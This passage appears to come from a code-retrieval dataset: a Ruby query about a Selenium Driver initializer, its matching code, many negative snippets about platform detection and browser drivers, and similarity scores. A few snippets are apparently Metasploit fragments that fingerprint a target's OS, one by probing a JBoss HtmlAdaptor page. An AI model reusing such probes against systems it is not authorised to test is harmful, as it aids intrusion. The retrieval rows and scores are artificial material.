"def test_platform_uses_ruby_platform\n stubbed = 'ENCOM OS-12'\n NewRelic::Agent::Samplers::MemorySampler.stub_const(:RUBY_PLATFORM, stubbed) do\n platform = NewRelic::Agent::Samplers::MemorySampler.platform\n\n assert_equal platform, stubbed.downcase\n end\n end",
"def installable_platform?\n # BACKCOMPAT If the file is coming out of a specified file, then we\n # ignore the platform. This code can be removed in RG 3.0.\n return true if @source.kind_of? Gem::Source::SpecificFile\n\n super\n end",
"def p4_platform_label\n case RbConfig::CONFIG[\"target_os\"].downcase\n when /nt|mswin|mingw|cygwin|msys/\n # Ruby on windows is only MinGW via Rubyinstaller.org, though this may\n # not work on all rubies.\n # There are too many permutations of Windows p4api, to automate.\n raise 'Automatic fetching of p4api from perforce FTP is not supported on Windows'\n when /darwin19|darwin[2-9][0-9]/\n \"macosx1015#{p4_cpu(:darwin)}\"\n when /darwin/ \n \"darwin90#{p4_cpu(:darwin)}\"\n when /solaris/\n \"solaris10#{p4_cpu(:solaris)}\"\n when /linux/\n \"linux26#{p4_cpu(:linux)}\" \n end\nend",
"def is?(platform)\n return false unless platform.is_a? Wow::Package::Target\n Wow::Package::Target.based_on?(platform, self)\n end",
"def actual_platform\n platform = nil\n\n if explicit_platform.nil? == false\n platform = explicit_platform\n elsif datastore['PLATFORM']\n platform = datastore['PLATFORM']\n elsif assoc_exploit\n platform = assoc_exploit.target_platform\n end\n\n # If we still have an invalid platform, then we suck.\n if platform.nil?\n raise NoCompatiblePayloadError, \"A platform could not be determined by the generic payload\"\n elsif platform.kind_of?(String)\n platform = Msf::Module::PlatformList.transform(platform)\n end\n\n return platform\n end",
"def is_platform(symbol)\n platform = ENV['PLATFORM'] || 'all'\n platform = platform.downcase # If set, will be frozen.\n\n if platform == 'macos'\n # CocoaPods calls this osx\n platform = 'osx'\n end\n platform = platform.to_sym\n\n if symbol == platform || platform == :all\n puts \"Adding #{symbol} targets to the project\"\n return true\n else\n return false\n end\nend",
"def platform\n return @platform\n end",
"def check_os\n @os ||= (\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n :windows\n when /darwin|mac os/\n :macosx\n when /linux/\n :linux \n when /solaris|bsd/\n :unix\n else\n raise Error::WebDriverError, \"unknown os: {host_os.inspect}\"\n end\n )\nend",
"def print_invalid_platform\n puts \"\\nOops... Invalid Platform\"\n puts \"\\nSupported platform are \\\"android\\\" and \\\"iOS\\\".\"\n puts \"\\nTo run on Desktop no need to mention platform.\"\n Process.exit(0) \nend",
"def osx?(platform = T.unsafe(nil)); end",
"def supported_platform?\n linux? || darwin?\n end",
"def get_platform\n rpc_get_fact_direct('kernel')\n end",
"def platform\n fetch('device.platform')\n end",
"def detect_platform\r\n\t\tprint_status(\"Attempting to automatically detect the platform\")\r\n\t\tres = send_serialized_request(\"osname.bin\")\r\n\r\n\t\tif (res.body =~ /(Linux|FreeBSD|Windows)/i)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /FreeBSD/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def assured_platform(purpose, name, config)\n platform_definition = config.platform_definition(name)\n assure(\"Requested #{purpose} platform '#{name}' is defined in 'platforms' YML\") { !platform_definition.nil? }\n platform_definition\nend",
"def isLinux()\n RUBY_PLATFORM.include? \"linux\"\nend",
"def platform\n osver[0]\n end",
"def detect_platform\n @@platform_features ||= {\n :interpreter => detect_interpreter,\n :interpreter_language => detect_interpreter_language,\n :ipv4 => detect_reachable_ip,\n :ruby_version => RUBY_VERSION,\n }.merge(detect_os).merge(detect_hardware)\n end",
"def windows?\n ruby_platform?(:windows)\nend",
"def host_os_family; end",
"def is_arm?\n !RUBY_PLATFORM.index(\"arm64e\").nil?\nend",
"def is_arm?\n !RUBY_PLATFORM.index(\"arm64e\").nil?\nend",
"def platform\n Ohai.platform\n end",
"def platform?(*args)\n has_platform = false\n\n args.flatten.each do |platform|\n has_platform = true if platform.to_s == node[:platform]\n end\n\n has_platform\n end",
"def platform(platform = nil, options={})\n platform ? @platform = Platform.new(platform, options) : @platform\n end",
"def define_platforms\n [define_centos_5, define_centos_6, define_run_list]\n end",
"def platform(*platforms)\n @current_platforms = platforms\n\n yield\n\n ensure\n @current_platforms = nil\n end",
"def linux?\n @linux\n end",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid 7.6 7.5 7.4 7.2 7.1 7.0 6.0.5),\n 'ubuntu' => %w(14.10 14.04 13.10 13.04 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2014.09 2014.03 2013.09 2012.09),\n 'centos' => %w(7.0.1406 6.6 6.5 6.4 6.3 6.0 5.11 5.10 5.9 5.8),\n 'oracle' => %w(6.5 5.10),\n 'redhat' => %w(7.0 6.5 6.4 6.3 6.2 6.1 6.0 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def windows?\n RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/\nend",
"def my_os\n Application.my_os\n end",
"def check_platform\n mobile_override = params[:mobile] && params[:mobile] == \"1\"\n desktop_override = params[:mobile] && params[:mobile] == \"0\"\n if ( (browser.mobile? and !browser.ipad?) or mobile_override ) and !request.xhr? and !desktop_override\n @platform = 'mobile'\n request.format = :mobile\n else\n @platform = 'desktop'\n end\n end",
"def select_local_platforms(specs) # :nodoc:\n specs.select do |spec|\n Gem::Platform.installable? spec\n end\n end",
"def installable_platform?\n Gem::Platform.match_spec? spec\n end",
"def windows?\n # Is this a Windows based system\n @win ||= RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw|bccwin|wince|emc/\n end",
"def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def platform_merge ln\n flds = ln.split(' ')\n return if flds[0].to_i == 0\n # app-version-arch'\n fname = flds[2]\n #parts = fname.split('-')\n #return if parts[length] < 3\n #puts \"fname = #{fname}\"\n case ln\n when /32\\.exe$/\n @platforms['Win32'] = ln\n when /\\.tbz$/\n return # ignore \n when /\\.run$/\n return # short circuit - ignore .runs in 3.2.15+ \n when /osx\\-.*\\.tgz$/\n @platforms['OSX'] = ln\n when /armhf\\.run$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.run$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.run$/ \n @platforms['Linux_x86_64'] = ln\n when /armhf\\.install$/\n @platforms['Linux_Raspberry'] = ln\n when /i686\\.install$/\n @platforms['Linux_i686'] = ln\n when /x86_64\\.install$/ \n @platforms['Linux_x86_64'] = ln\n when /tar\\.gz$/\n tarball = ln\n else\n #puts \"failed match #{ln}\"\n end\n return\n end",
"def sos_mono?() raise NotImplementedError end",
"def supports_platform?\n if @supports_platform.nil?\n @supports_platform = metadata.supports_platform?(@backend)\n end\n if @backend.backend.class.to_s == \"Train::Transports::Mock::Connection\"\n @supports_platform = true\n end\n\n @supports_platform\n end",
"def supported_platforms\n _platforms = {\n #\n # os: 'linux'\n # platform_family: 'debian'\n 'debian' => %w(jessie/sid\n 8.4 8.2 8.1 8.0\n 7.10 7.9 7.8 7.7 7.6 7.5 7.4 7.2 7.1 7.0\n 6.0.5),\n 'ubuntu' => %w(16.04\n 15.10 15.04\n 14.10 14.04\n 13.10 13.04\n 12.04 10.04),\n # platform_family: 'rhel'\n 'amazon' => %w(2016.03\n 2015.09 2015.03\n 2014.09 2014.03\n 2013.09 2012.09),\n 'centos' => %w(7.2.1511 7.1.1503 7.0.1406\n 6.8 6.7 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.11 5.10 5.9 5.8 5.7 5.6 5.5 5.4 5.3 5.2),\n 'oracle' => %w(7.1 7.0\n 6.6 6.5\n 5.10),\n 'redhat' => %w(7.1 7.0\n 6.6 6.5 6.4 6.3 6.2 6.1 6.0\n 5.10 5.9 5.8 5.7 5.6)\n }\nend",
"def linux?\n RUBY_PLATFORM =~ /linux/\n end",
"def platform\n RUBY_PLATFORM\n end",
"def platform_name\n \"Flist\"\n end",
"def get_platform(host_os)\n return :osx if host_os =~ /darwin/\n return :linux if host_os =~ /linux/\n return :windows if host_os =~ /mingw32|mswin32/\n return :unknown\n end",
"def using_native_target?; target.name =~ /native/i; end"
] | [
"0.7777959",
"0.7777959",
"0.7777959",
"0.73855954",
"0.73657197",
"0.73657197",
"0.72230595",
"0.71345466",
"0.7060319",
"0.7060319",
"0.69603604",
"0.693154",
"0.693154",
"0.693154",
"0.6924074",
"0.6908046",
"0.6882995",
"0.6854704",
"0.6844907",
"0.67970407",
"0.6751769",
"0.6709983",
"0.6632043",
"0.6618526",
"0.65859705",
"0.65634584",
"0.65607476",
"0.6558118",
"0.655225",
"0.6549176",
"0.6547995",
"0.65408844",
"0.65278494",
"0.6527083",
"0.65205264",
"0.6510173",
"0.6497847",
"0.64776546",
"0.6457537",
"0.6457314",
"0.64551884",
"0.6431998",
"0.64203054",
"0.64115703",
"0.63963056",
"0.6389493",
"0.638587",
"0.6365799",
"0.6357244",
"0.63520736",
"0.63455576",
"0.6325424",
"0.63185066",
"0.62991154",
"0.62973034",
"0.6290187",
"0.6286637",
"0.62770754",
"0.62749565",
"0.62722033",
"0.6269275",
"0.6268539",
"0.6266126",
"0.6249832",
"0.6249348",
"0.62489957",
"0.6236432",
"0.621104",
"0.6208973",
"0.62084305",
"0.6206118",
"0.6196457",
"0.6181076",
"0.61806",
"0.6169362",
"0.6164933",
"0.6164933",
"0.61577404",
"0.614737",
"0.61386013",
"0.6128693",
"0.6121946",
"0.61208725",
"0.6114185",
"0.61026454",
"0.60986143",
"0.6098614",
"0.60976905",
"0.60793734",
"0.6079353",
"0.60707766",
"0.6068223",
"0.60666245",
"0.60537124",
"0.6052935",
"0.6051887",
"0.6051367",
"0.6047035",
"0.6033865",
"0.6029987"
] | 0.7099726 | 8 |
A new Driver instance with the given bridge. End users should use Selenium::WebDriver.for instead of using this directly. | def initialize(bridge, listener: nil)
@bridge = bridge
@bridge = Support::EventFiringBridge.new(bridge, listener) if listener
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_bridge(**opts)\n # for a new session request\n capabilities = opts.delete(:capabilities)\n bridge_opts = { http_client: opts.delete(:http_client), url: opts.delete(:url) }\n\n # for attaching to an existing session\n session_id = opts.delete(:existing_session_id)\n automation_name = opts.delete(:automation_name)\n platform_name = opts.delete(:platform_name)\n\n raise ::Appium::Core::Error::ArgumentError, \"Unable to create a driver with parameters: #{opts}\" unless opts.empty?\n\n bridge = ::Appium::Core::Base::Bridge.new(**bridge_opts)\n\n if session_id.nil?\n bridge.create_session(capabilities)\n else\n # attach to the existing session id\n bridge.attach_to(session_id, platform_name, automation_name)\n end\n\n bridge\n end",
"def create(_, _)\n driver = ::Unobtainium::Nokogiri::Driver.new\n return driver\n end",
"def initialize_driver\n if ENV['browser'] == \"\"\n browser_sym = @config.browser.downcase.to_sym\n else\n browser_sym = ENV['browser'].downcase.to_sym\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = 40 # seconds\n exec_mode = @config.execution_mode.to_s.downcase\n if exec_mode == \"local\"\n Selenium::WebDriver::Chrome.driver_path=\"#{File.dirname(__FILE__)}/drivers/chromedriver.exe\"\n $driver = Selenium::WebDriver.for(browser_sym, :http_client => client)\n elsif exec_mode == \"remote\"\n initializing_remote_web_driver browser_sym, client\n end\n end",
"def configure_browser()\r\n if test_config.browser == \"ie\"\r\n Capybara.register_driver :selenium do |app|\r\n Capybara::Selenium::Driver.new(app, :browser=>:internet_explorer)\r\n end\r\n else\r\n Capybara.register_driver :selenium do |app|\r\n if !(test_config.browserPath.nil? || test_config.browserPath.empty?)\r\n require 'selenium/webdriver'\r\n Selenium::WebDriver::Firefox::Binary.path = test_config.browserPath\r\n end\r\n Capybara::Selenium::Driver.new(app, :browser => :firefox)\r\n end\r\n end\r\n end",
"def create_driver()\n startdrivernow(true)\n driver = @driver\n @asset_maps = YAML.load_file(\"features/test_data_mapping/environment.yml\")\n\n if DEVICE_TYPE != 'Android'\n if APP_TYPE == 'Phone'\n sleep 1\n driver.manage.window.resize_to(480, 800)\n sleep 1\n else\n driver.manage.window.maximize\n end\n asset_mapping = @asset_maps.find { |item| item[:Environment] == \"system\" }\n fail \"Could not find asset mapping for system\" if not asset_mapping\n\n asset_url = asset_mapping[:url]\n\n driver.navigate.to asset_url\n\n # This is required otherwise ie does no pick up the events\n driver.switch_to.active_element if DEVICE_TYPE == 'IE'\n end\nend",
"def register_firefox_driver\n Capybara.register_driver :firefox do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n options = Selenium::WebDriver::Firefox::Options.new\n Capybara::Selenium::Driver.new(app, browser: :firefox,\n options: options,\n desired_capabilities: firefox_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: firefox_capabilities)\n end\n end\n end",
"def get_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.open_timeout = TIMEOUT # seconds – default is 30\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def initialize driver\n @driver = driver\n end",
"def driver\n @driver ||= page.driver.browser\n end",
"def setup_grid(driver)\n if driver == 'chrome'\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n @browser = Watir::Browser.new(\n :remote,\n url: gridUrl,\n desired_capabilities: capabilities\n )\n end\nend",
"def jsDriver # rubocop:disable Naming/MethodName\n Capybara.current_driver = Capybara.javascript_driver\n yield\n Capybara.current_driver = Capybara.default_driver\n end",
"def setup_local(driver)\n if driver == 'chrome'\n @browser = Watir::Browser.new :chrome\n elsif driver == 'firefox'\n @browser = Watir::Browser.new :firefox, marionette: true\n end\nend",
"def initialize(opts = {})\n opts[:timeout] = 120 unless opts[:timeout]\n @wait = Selenium::WebDriver::Wait.new(:timeout=>opts[:timeout])\n TelluriumDriver.wait_for_document_ready=true;\n\n opts[:caps] ||= {}\n opts[:caps][:browserName] ||= opts[:browser]\n opts[:caps][:version] ||= opts[:version]\n\n is_local = !opts[:hub_ip] and !opts[:hub_url]\n \n if is_local\n @driver = Selenium::WebDriver.for(opts[:browser].to_sym,:desired_capabilities=>opts[:caps])\n else\n @driver = Selenium::WebDriver.for(:remote,:desired_capabilities=>opts[:caps],:url=> \"http://#{opts[:hub_ip]}:4444/wd/hub\")\n end\n end",
"def initialize(selenium_webdriver: (::Selenium::WebDriver.for DEFAULT_BROWSER, options: default_options))\n require \"selenium-webdriver\"\n @driver = selenium_webdriver\n end",
"def initialize(browser = :chrome)\n @driver = Selenium::WebDriver.for browser\n end",
"def register_chrome_driver\n Capybara.register_driver :chrome do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n Capybara::Selenium::Driver.new(app,\n browser: :chrome,\n desired_capabilities: chrome_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: chrome_capabilities)\n end\n end\n end",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n [email protected] :global, :browser, :type\n [email protected] :global, :browser, :browser\n [email protected] :global, :browser, :port\n [email protected]_default false, :global, :browser, :url\n [email protected]_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def initialize(driver)\n\t\tsuper\n\n\t\tself.driver = driver\n\tend",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def create_driver(_conf = APPLICATION_DEFAULT_CONFIG, _tag = 'test')\n _undefined\n end",
"def driver\n # DATPages::Driver.instance\n @driver ||= DATPages::DriverConnection.initialize_driver\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def start_driver\n @driver.start_driver\n end",
"def remote_browser\n return Ladon::Watir::Browser.new_remote(url: @grid_url,\n type: @browser_type,\n platform: @platform)\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n end",
"def initialize(driver, baseurl='/')\n super(driver, baseurl)\n end",
"def initialize(driver)\r\n @@driver = driver\r\n end",
"def initialize(driver)\r\n begin\r\n $driver = driver\r\n rescue Exception => e\r\n raise e.message\r\n raise e.backtrace.inspect\r\n end\r\n end",
"def initialize(driver)\n @driver = driver\n @utills = WebDriverUtils.new(@driver)\n end",
"def driver\n @driver ||= self.class.default_driver\n end",
"def driver(label = nil, options = nil)\n # Resolve unique options\n label, options = resolve_options(label, options)\n\n # Create a key for the label and options. This should always\n # return the same key for the same label and options.\n key = options['unobtainium_instance_id']\n if key.nil?\n key = identifier('driver', label, options)\n end\n\n # Only create a driver with this exact configuration once. Unfortunately\n # We'll have to bind the destructor to whatever configuration exists at\n # this point in time, so we have to create a proc here - whether the Driver\n # gets created or not.\n at_end = config.fetch(\"at_end\", \"quit\")\n dtor = proc do |the_driver|\n # :nocov:\n if the_driver.nil?\n return\n end\n\n # We'll rescue Exception here because we really want all destructors\n # to run.\n # rubocop:disable Lint/RescueException\n begin\n meth = at_end.to_sym\n the_driver.send(meth)\n rescue Exception => err\n puts \"Exception in destructor: [#{err.class}] #{err}\"\n end\n # rubocop:enable Lint/RescueException\n # :nocov:\n end\n return ::Unobtainium::Runtime.instance.store_with_if(key, dtor) do\n ::Unobtainium::Driver.create(label, options)\n end\n end",
"def initialize(visitor_dir, browser_details)\n super(browser_details)\n\n if browser_details[:sandbox] == true and browser_details[:multi_instance_proxy_compatible] == true\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}_#{@listening_port_proxy}\",\n @listening_port_proxy)\n else\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}\",\n @listening_port_proxy)\n end\n customize_properties(visitor_dir)\n end",
"def getDriver\n @driver\n end",
"def getDriver\n @driver\n end",
"def register_selenium_remote_driver(browser)\n Capybara.register_driver \"selenium_remote_#{browser}\".to_sym do |app|\n Capybara::Selenium::Driver.new(app, browser: :remote, url: \"http://#{ENV['SELENIUM_SERVER']}:4444/wd/hub\", desired_capabilities: browser)\n end\n end",
"def driver\n\t\t\t_load_driver unless @driver\n\t\t\t@driver\n\t\tend",
"def get_zalenium_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT # seconds – default is 30\n # Remove troublesome characters from scenario names - affects video naming\n scenario_name = scenario.name.clone.gsub(/[#,\\(\\)]/,'')\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client, :url => GRID_HUB, :name => scenario_name\n return browser\nend",
"def driver_start(desired_capabilities, appium_server)\n\n server_caps = {\n debug: false, #true\n server_url: appium_server,\n wait: 60 # equal to @default_wait in appium_lib source code.\n }\n\n caps = { caps: desired_capabilities, appium_lib: server_caps }\n\n Appium::Driver.new(caps).start_driver\n\n # Define the methods on all objects.\n # Note that this can also be scoped to limit the potential for conflicts.\n # Example: Appium.promote_appium_methods ::Example::Spec\n # Another alternative is to not promote at all. Instead access methods via $driver\n Appium.promote_appium_methods AppiumCustomDriver\n\n @driver\n end",
"def browser\n return @browser if @browser\n\n @appium_driver = Appium::Driver.new @options, false\n # browser is the standard selenium driver without any appium methods\n @browser = @appium_driver.start_driver\n\n main = Process.pid\n at_exit do\n # Store the exit status of the test run since it goes away after calling the at_exit proc...\n @exit_status = $ERROR_INFO.status if $ERROR_INFO.is_a?(SystemExit)\n quit if Process.pid == main\n exit @exit_status if @exit_status # Force exit with stored status\n end\n @browser\n end",
"def create_driver name\n\t\tdriver = Driver.new name\n\t\t@drivers[driver.name] = driver\n\t\tdriver\t\t\n\tend",
"def get_driver\n case meta.engine\n when \"chrome\"\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--disable-gpu')\n options.add_argument('--headless')\n options.add_argument('--device-scale-factor=1') # have to change cropping for 2x. also this is faster\n options.add_argument('--force-device-scale-factor')\n options.add_argument(\"--window-size=1200,1500\") # resize later so we can reuse drivers\n options.add_argument(\"--hide-scrollbars\") # hide scrollbars from screenshots\n Selenium::WebDriver.for :chrome, options: options\n end\n end",
"def initialize()\n @sel = Capybara::Session.new(:selenium)\n end",
"def get_local_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def set_driver(test)\n if test.metadata[:appium] && (TC::Config['tc_driver'] == 'appium' ||\n RSpec.configuration.filter.rules[:appium])\n Capybara.current_driver = TC::Config[:appium][:os].downcase.to_sym\n else\n Capybara.current_driver = :selenium\n end\n Capybara.default_driver = Capybara.current_driver\nend",
"def start_driver\n @client = @client || Selenium::WebDriver::Remote::Http::Default.new\n @client.timeout = 999999\n\n begin\n @driver = Selenium::WebDriver.for :remote, http_client: @client, desired_capabilities: capabilities, url: server_url\n # Load touch methods. Required for Selendroid.\n @driver.extend Selenium::WebDriver::DriverExtensions::HasTouchScreen\n\n # export session\n if @export_session\n begin\n File.open('/tmp/appium_lib_session', 'w') do |f|\n f.puts @driver.session_id\n end\n rescue\n end\n end\n rescue Errno::ECONNREFUSED\n raise 'ERROR: Unable to connect to Appium. Is the server running?'\n end\n\n # Set timeout to a large number so that Appium doesn't quit\n # when no commands are entered after 60 seconds.\n # broken on selendroid: https://github.com/appium/appium/issues/513\n mobile :setCommandTimeout, timeout: 9999 unless @device == 'Selendroid'\n\n # Set implicit wait by default unless we're using Pry.\n @driver.manage.timeouts.implicit_wait = @default_wait unless defined? Pry\n\n @driver\n end",
"def driver\n Capybara.current_driver\n end",
"def navigateTo(browser_instance,url)\n Capybara.default_driver = :selenium\n\n \n Capybara.register_driver :selenium do |app|\n Capybara::Selenium::Driver.new(app, :browser => :chrome)\n end\n# $worldMap = Hash.new\n $session = Capybara::Session.new(:selenium)\n $session.visit 'https://staging-bbva.everfiapps-dev.net/cportal/ccdee586/login'\n end",
"def open_browser_ie \n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :ie\n\tend",
"def method_missing(name, *args, &block)\n if driver.respond_to?(name)\n driver.send(name, *args, &block)\n else\n super\n end\n end",
"def initialize(driver, element)\n super(element)\n\n @driver = driver\n end",
"def new_driver(suite, platform)\n ddata = data.driver_data_for(suite.name, platform.name)\n Driver.for_plugin(ddata[:name], ddata)\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.new\n\tcaps['browser'] = 'Firefox'\n @driver = Selenium::WebDriver.for :remote, url: \"http://localhost:8001\", :desired_capabilities => caps\n# @driver = Selenium::WebDriver.for :firefox\n\[email protected]_wait = 10\nend",
"def create_bridge(bridge)\n return if @bridges.keys.include? bridge\n\n OpenNebula.exec_and_log(\"#{command(:brctl)} addbr #{bridge}\")\n\n @bridges[bridge] = Array.new\n\n OpenNebula.exec_and_log(\"#{command(:ip)} link set #{bridge} up\")\n end",
"def driver_start_with(caps, server_url)\n @driver ||= driver_start(caps, server_url)\n end",
"def browser(params, &proc)\n raise \"Session::browser requires a code block to be executed\" unless proc\n\n destination = create_destination(params)\n b = nil\n if params[:selector]\n b = create_browser(destination, params[:selector])\n else\n b = create_browser(destination)\n end\n\n if proc\n begin\n proc.call(b)\n ensure\n b.close\n b = nil\n end\n end\n b\n end",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def initialize\n # Create an instance of the selenium driver.\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = 60 # default seconds to wait for responses from web requests to the application server\n @driver = Selenium::WebDriver.for(:chrome, :http_client => client, :listener => DemoSeleniumEventListener.new)\n end",
"def setup_capybara\n @poltergeist_driver = nil\n\n # Capybara will not re-run the block if the driver name already exists, so the driver name\n # will have a time integer appended to ensure uniqueness.\n driver_name = \"poltergeist_crawler_#{Time.now.to_f}\".to_sym\n Grell.logger.info \"GRELL Registering poltergeist driver with name '#{driver_name}'\"\n\n Capybara.register_driver driver_name do |app|\n @poltergeist_driver = Capybara::Poltergeist::Driver.new(app,\n js_errors: false,\n inspector: false,\n phantomjs_logger: FakePoltergeistLogger,\n phantomjs_options: ['--debug=no', '--load-images=no', '--ignore-ssl-errors=yes', '--ssl-protocol=TLSv1.2'])\n end\n\n Capybara.default_max_wait_time = 3\n Capybara.run_server = false\n Capybara.default_driver = driver_name\n Capybara.current_session.driver.headers = { # The driver gets initialized when modified here\n \"DNT\" => 1,\n \"User-Agent\" => USER_AGENT\n }\n\n raise 'Poltergeist Driver could not be properly initialized' unless @poltergeist_driver\n\n @poltergeist_driver\n end",
"def init_browser(application_source)\n Selenium::WebDriver::Chrome.driver_path = application_source.driverPath\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('--headless')\n options.add_argument('--disable-gpu')\n # TODO Use factory method\n @driver = Selenium::WebDriver.for :chrome, options: options\n # TODO Move to strategy classes\n @driver.manage.timeouts.implicit_wait = application_source.implicitWaitTimeOut\n #@driver.manage.window.maximize\n end",
